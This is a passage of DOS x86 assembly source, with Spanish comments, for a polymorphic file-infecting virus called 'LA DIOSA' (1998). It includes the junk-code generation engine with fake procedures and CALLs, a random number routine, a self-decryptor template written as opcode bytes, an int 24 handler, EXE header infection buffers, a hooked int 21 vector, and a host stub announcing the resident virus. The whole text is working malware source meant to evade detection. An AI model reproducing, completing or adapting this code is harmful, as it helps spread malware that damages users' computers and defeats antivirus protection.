	     mov  byte ptr es:[di],bl        ;retoco el jmp
	     pop  di
	     
	     inc ax          ;en ax el valor a copiar en la tabla
			     ;de direcciones de procedimientos
			     ;que utilizaremos para generar los CALLS

	     ;aqui el algoritmo pa guardar la direccion del procedimiento
	     lea si,bp+proc_dir
     sigue:  cmp word ptr cs:[si],00h       ;hay que tener en cuenta
	     je  cont1                      ;que como m¡nimo tenemos la
	     inc si                         ;ultima posicion
	     inc si
	     jmp sigue
      cont1: mov word ptr cs:[si],ax        ;copio el valor   

	     dec byte ptr cs:[bp+proc_control]


fuera:       pop es
	     pop ds
	     pop si
	     pop bx
	     pop ax
	   ret

;************** Mete Llamadas a procedimientos (CALL) ********************
mete_call:
	     push ax
	     push bx
	     push si      ;pusheo como no los registros a utilizar
			  ;excepto di (el super indice de encriptacion)
	     
	     lea si,bp+proc_dir
	     cmp word ptr cs:[si],0h   ;si he generado aunque sea s¢lo un
	     je no_meter               ;procedimiento ,busco su direcci¢n.
 
 repetir:    mov ax,04d      ;busco una de las 4 direcciones de proc
	     call rand_in_range 
	     add ax,ax       ;multiplico por 2 el resultado
	     mov si,ax
	     add si,bp
	     add si,offset proc_dir
	     
	     mov bx,word ptr cs:[si]     ;en bx la direccion del procedimiento
	     cmp bx,0h
	     je  repetir              ;mmmhh no hay una direcci¢n aqu¡
				      ;pues busco en otra direcci¢n.

	     mov byte ptr es:[di],0e8h   ;meto el opcode del call
	     inc di
	     xor ax,ax
	     mov si,di
	     sub si,bx
	     sub ax,si
	     sub ax,2d       
	     mov word ptr es:[di],ax     ;y ahora la direccion del salto
	     
	     inc di
	     inc di   ;la direccion de la siguiente instruccion en di

	     
no_meter:    pop si
	     pop bx
	     pop ax
	   ret


;************** Genera un numero aleatorio entre 0 - (ax-1) **********

get_rnd:     in ax,40h              ;rutina RNG plagiada del CRICRI
	     xor ax,0ffffh          ;y anteriormente del RHINCE engine
	     org $-2                ;
  rnd        dw 0000h               ;aqu¡ almaceno una palabra que modificar 
	     mov cs:[bp+rnd],ax     ;el siguiente numero aleatorio (xor) :>
	     ret                    ;muy tru¤oso pero funciona no???    

rand_in_range:  push bx
		push dx
		xchg ax,bx
		call get_rnd
		xor dx,dx
		div bx
		xchg ax,dx
		pop dx
		pop bx
		ret

;********* Variables ,rutina de desencriptaci¢n y buffers temporales ******

tabla_basuras: dw offset mete_unbyte
	       dw offset mete_mov_inutiles
	       dw offset mete_mov_utiles    ; <- utilizando registros 
	       dw offset mete_push          ;usados en la desencriptaci¢n
	       dw offset mete_int
	       dw offset mete_bucle
	       dw offset mete_acceso_puerto
	       dw offset mete_acceso_memoria
	       dw offset mete_comparaciones
	       dw offset mete_procedimientos
	       dw offset mete_call

decry_rutina1: db 1h,01eh            ;push ds     ;esto es para saber el psp
	       db 1h,00eh            ;push cs
	       db 1h,00eh            ;push cs
	       db 1h,01fh            ;pop ds
	       db 1h,007h            ;pop es
	       db 3h,0bfh,00h,00h    ;mov di,encrypt_start
	       db 2h,08bh,0f7h       ;mov si,di
	       db 3h,0b9h,00h,00h    ;mov cx,enc_size          
	       db 2h,0b6h,00h        ;mov dh,random
	       
	       ;Aqu¡ empieza el bucle de encriptaci¢n

decry_rutina2: db 3h,026h,030h,035h  ;xor byte ptr es:[di],dh
	       db 1h,0a4h            ;movsb
	       db 2h,049h,09ch       ;dec cx ;pushf
	       db 3h,09dh,074h,0f9h  ;popf   ;je salir   

salto          db 0b8h,00h,00h     ;mov ax,valor
	       org $-2
repetir_bucle  dw 00h
	       db 050h   ;push ax
	       db 0c3h   ;ret       ;too un segmento pa
				    ;saltar,abajo los rangos de salto


desor_ins:     db 00000001b,1h,01fh,00h,00h    ;pop ds
	       db 00000010b,1h,007h,00h,00h    ;pop es
	       db 00000100b,3h,0bfh,00h,00h    ;mov di,encrypt_start
	       db 00001000b,2h,08bh,0f7h,00h   ;mov si,di
	       db 00010000b,3h,0b9h,00h,00h    ;mov cx,enc_size          
	       org $-2
enc_size       dw 00h
	       db 00100000b,2h,0b6h,00h        ;mov dh,random
	       org $-1
random         db 0  ;numero aleatorio con el que encriptamos.

desor_control  db 00000000b       ;palabra de verificaci¢n para saber
				  ;si ya estan todas las instrucciones
				  ;que queremos desordenar.

proc_control   db   00h           ;evita que se generen procedimientos dentro
				  ;de procedimientos

proc_dir       dw   00h,00h,00h,00h               ;tabla de offset de inicio
						  ;para los procedimientos
						  ;basura ]:-)

operaciones    db   00h,028h      ;add  ;sub
	       db   28h,000h      ;sub  ;add
	       db   030h,030h     ;xor  ;xor 

dirini         dw 00h
encrypt_start  dw 00h     ;offset del principio de la encriptaci¢n, en el buff
bucle_start    dw 00h     ;offset del comienzo del bucle,en el buffer
vircomien      dw 00h     ;comienzo del virus(lo que tendremos que encriptar)
contador       db 00h     ;cuenta el numero de ejecuciones
			  ;recurrentes de la rutina,evita que un excesivo
			  ;numero de llamadas recurrentes sobresaturen de
			  ;basura el decriptor




;******************* Fin de la rutina polymorfica *************


new_int24:      xor al,al
		iret

exeheader       db      0eh  dup('H');   ;esto el header de los exes
ss_sp           dw      0,400h           ;reservo 200 bytes para la pila
checksum        dw      0
cs_ip           dw      offset hoste,0
		dw      0,0,0,0
oldint21        dd      0             ;esto contiene la direccion de la int 21
longitud        dw      0
handel          dw      0
old_int24       label  dword          ;esto es para referenciar esta direccion
				      ;y leer todo el offset y el segmento junto
old_int24_off   dw      0                 ;contenido de la antigua int 24
old_int24_seg   dw      0              
mensaje         db      'Virus LA DIOSA ,dedicado a ANRUELO ' ,0ah,0dh
		db      'virus demostraci¢n del NEP ',0ah,0dh
		db      '.....',0ah,0dh
		db      '   ....Virus LA DIOSA por nIgrOmAntE 1998. (VALENCIA)$'
garbage         dw      00h
fin:

hoste:         push ax
	       push dx
	       push ds
	       mov  ah,9h
	       mov  dx,offset msg
	       push cs
	       pop  ds
	       int  21h
	       pop  ax
	       pop  dx
	       pop  ds
	       mov  ax,4c00h
	       int  21h

msg            db 'El VOID est  en memoria , Cuidado con lo que ejecutes!!!!$'

code           ends
	       end  carrier














